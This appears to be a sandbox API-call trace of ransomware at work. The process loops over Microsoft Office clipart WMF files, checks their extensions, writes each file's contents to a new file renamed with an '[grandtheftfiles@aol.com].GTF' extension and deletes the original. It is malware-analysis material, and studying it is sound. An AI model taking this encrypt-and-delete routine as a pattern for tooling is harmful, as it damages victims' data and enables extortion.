	[0163.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0163.356] lstrlenW (lpString=".zip") returned 4
	[0163.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.356] lstrlenW (lpString=".rar") returned 4
	[0163.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.356] lstrlenW (lpString=".bz2") returned 4
	[0163.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.356] lstrlenW (lpString=".7z") returned 3
	[0163.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0163.356] lstrlenW (lpString=".dbf") returned 4
	[0163.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0163.356] lstrlenW (lpString=".1cd") returned 4
	[0163.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0163.356] lstrlenW (lpString=".jpg") returned 4
	[0163.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.356] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.356] lstrlenW (lpString="J0105292.WMF") returned 12
	[0163.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0163.357] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=14868) returned 1
	[0163.357] CloseHandle (hObject=0x4b4) returned 1
	[0163.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220
	[0163.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0163.357] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.357] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.358] GetLastError () returned 0x0
	[0163.358] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x3a14, lpOverlapped=0x0) returned 1
	[0163.456] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x3a20, lpOverlapped=0x0) returned 1
	[0163.458] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.458] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.458] SetEndOfFile (hFile=0x528) returned 1
	[0163.458] CloseHandle (hObject=0x528) returned 1
	[0163.458] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.458] SetEndOfFile (hFile=0x4b4) returned 1
	[0163.460] CloseHandle (hObject=0x4b4) returned 1
	[0163.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1
	[0163.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0163.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0163.633] lstrlenW (lpString=".doc") returned 4
	[0163.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.633] lstrlenW (lpString=".docx") returned 5
	[0163.634] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0163.634] lstrlenW (lpString=".pdf") returned 4
	[0163.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.634] lstrlenW (lpString=".xls") returned 4
	[0163.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.634] lstrlenW (lpString=".xlsx") returned 5
	[0163.634] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0163.634] lstrlenW (lpString=".ppt") returned 4
	[0163.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0163.634] lstrlenW (lpString=".zip") returned 4
	[0163.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.634] lstrlenW (lpString=".rar") returned 4
	[0163.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.634] lstrlenW (lpString=".bz2") returned 4
	[0163.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.634] lstrlenW (lpString=".7z") returned 3
	[0163.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0163.634] lstrlenW (lpString=".dbf") returned 4
	[0163.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0163.634] lstrlenW (lpString=".1cd") returned 4
	[0163.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0163.634] lstrlenW (lpString=".jpg") returned 4
	[0163.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0163.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0163.634] lstrlenW (lpString=".doc") returned 4
	[0163.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.634] lstrlenW (lpString=".docx") returned 5
	[0163.634] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0163.634] lstrlenW (lpString=".pdf") returned 4
	[0163.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.634] lstrlenW (lpString=".xls") returned 4
	[0163.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.635] lstrlenW (lpString=".xlsx") returned 5
	[0163.635] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0163.635] lstrlenW (lpString=".ppt") returned 4
	[0163.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0163.635] lstrlenW (lpString=".zip") returned 4
	[0163.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.635] lstrlenW (lpString=".rar") returned 4
	[0163.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.635] lstrlenW (lpString=".bz2") returned 4
	[0163.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.635] lstrlenW (lpString=".7z") returned 3
	[0163.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0163.635] lstrlenW (lpString=".dbf") returned 4
	[0163.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0163.635] lstrlenW (lpString=".1cd") returned 4
	[0163.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0163.635] lstrlenW (lpString=".jpg") returned 4
	[0163.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.635] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.635] lstrlenW (lpString="J0105294.WMF") returned 12
	[0163.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0163.637] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=5504) returned 1
	[0163.637] CloseHandle (hObject=0x53c) returned 1
	[0163.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220
	[0163.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0163.637] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.637] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0163.638] GetLastError () returned 0x0
	[0163.638] ReadFile (in: hFile=0x53c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1580, lpOverlapped=0x0) returned 1
	[0163.640] WriteFile (in: hFile=0x42c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1590, lpOverlapped=0x0) returned 1
	[0163.641] ReadFile (in: hFile=0x53c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.641] WriteFile (in: hFile=0x42c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.641] SetEndOfFile (hFile=0x42c) returned 1
	[0163.641] CloseHandle (hObject=0x42c) returned 1
	[0163.641] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.641] SetEndOfFile (hFile=0x53c) returned 1
	[0163.644] CloseHandle (hObject=0x53c) returned 1
	[0163.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1
	[0163.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0163.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0163.645] lstrlenW (lpString=".doc") returned 4
	[0163.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.645] lstrlenW (lpString=".docx") returned 5
	[0163.645] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0163.645] lstrlenW (lpString=".pdf") returned 4
	[0163.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.645] lstrlenW (lpString=".xls") returned 4
	[0163.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.645] lstrlenW (lpString=".xlsx") returned 5
	[0163.645] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0163.645] lstrlenW (lpString=".ppt") returned 4
	[0163.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0163.645] lstrlenW (lpString=".zip") returned 4
	[0163.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.645] lstrlenW (lpString=".rar") returned 4
	[0163.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.645] lstrlenW (lpString=".bz2") returned 4
	[0163.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.645] lstrlenW (lpString=".7z") returned 3
	[0163.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0163.645] lstrlenW (lpString=".dbf") returned 4
	[0163.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0163.645] lstrlenW (lpString=".1cd") returned 4
	[0163.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0163.645] lstrlenW (lpString=".jpg") returned 4
	[0163.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0163.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0163.646] lstrlenW (lpString=".doc") returned 4
	[0163.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.646] lstrlenW (lpString=".docx") returned 5
	[0163.646] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0163.646] lstrlenW (lpString=".pdf") returned 4
	[0163.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.646] lstrlenW (lpString=".xls") returned 4
	[0163.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.646] lstrlenW (lpString=".xlsx") returned 5
	[0163.646] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0163.646] lstrlenW (lpString=".ppt") returned 4
	[0163.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0163.646] lstrlenW (lpString=".zip") returned 4
	[0163.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.646] lstrlenW (lpString=".rar") returned 4
	[0163.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.646] lstrlenW (lpString=".bz2") returned 4
	[0163.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.646] lstrlenW (lpString=".7z") returned 3
	[0163.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0163.646] lstrlenW (lpString=".dbf") returned 4
	[0163.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0163.646] lstrlenW (lpString=".1cd") returned 4
	[0163.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68
	[0163.646] lstrlenW (lpString=".jpg") returned 4
	[0163.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.646] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.647] lstrlenW (lpString="J0105298.WMF") returned 12
	[0163.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0163.648] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=6320) returned 1
	[0163.648] CloseHandle (hObject=0x53c) returned 1
	[0163.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220
	[0163.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0163.648] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.648] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0163.649] GetLastError () returned 0x0
	[0163.649] ReadFile (in: hFile=0x53c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x18b0, lpOverlapped=0x0) returned 1
	[0163.651] WriteFile (in: hFile=0x42c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x18c0, lpOverlapped=0x0) returned 1
	[0163.652] ReadFile (in: hFile=0x53c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.652] WriteFile (in: hFile=0x42c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.652] SetEndOfFile (hFile=0x42c) returned 1
	[0163.652] CloseHandle (hObject=0x42c) returned 1
	[0163.652] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.652] SetEndOfFile (hFile=0x53c) returned 1
	[0163.655] CloseHandle (hObject=0x53c) returned 1
	[0163.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1
	[0163.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0163.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0163.655] lstrlenW (lpString=".doc") returned 4
	[0163.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.656] lstrlenW (lpString=".docx") returned 5
	[0163.656] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0163.656] lstrlenW (lpString=".pdf") returned 4
	[0163.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.656] lstrlenW (lpString=".xls") returned 4
	[0163.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.656] lstrlenW (lpString=".xlsx") returned 5
	[0163.656] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0163.656] lstrlenW (lpString=".ppt") returned 4
	[0163.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0163.656] lstrlenW (lpString=".zip") returned 4
	[0163.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.656] lstrlenW (lpString=".rar") returned 4
	[0163.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.656] lstrlenW (lpString=".bz2") returned 4
	[0163.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.656] lstrlenW (lpString=".7z") returned 3
	[0163.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0163.656] lstrlenW (lpString=".dbf") returned 4
	[0163.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0163.656] lstrlenW (lpString=".1cd") returned 4
	[0163.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0163.656] lstrlenW (lpString=".jpg") returned 4
	[0163.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0163.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0163.656] lstrlenW (lpString=".doc") returned 4
	[0163.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.656] lstrlenW (lpString=".docx") returned 5
	[0163.656] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0163.656] lstrlenW (lpString=".pdf") returned 4
	[0163.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.657] lstrlenW (lpString=".xls") returned 4
	[0163.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.657] lstrlenW (lpString=".xlsx") returned 5
	[0163.657] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0163.657] lstrlenW (lpString=".ppt") returned 4
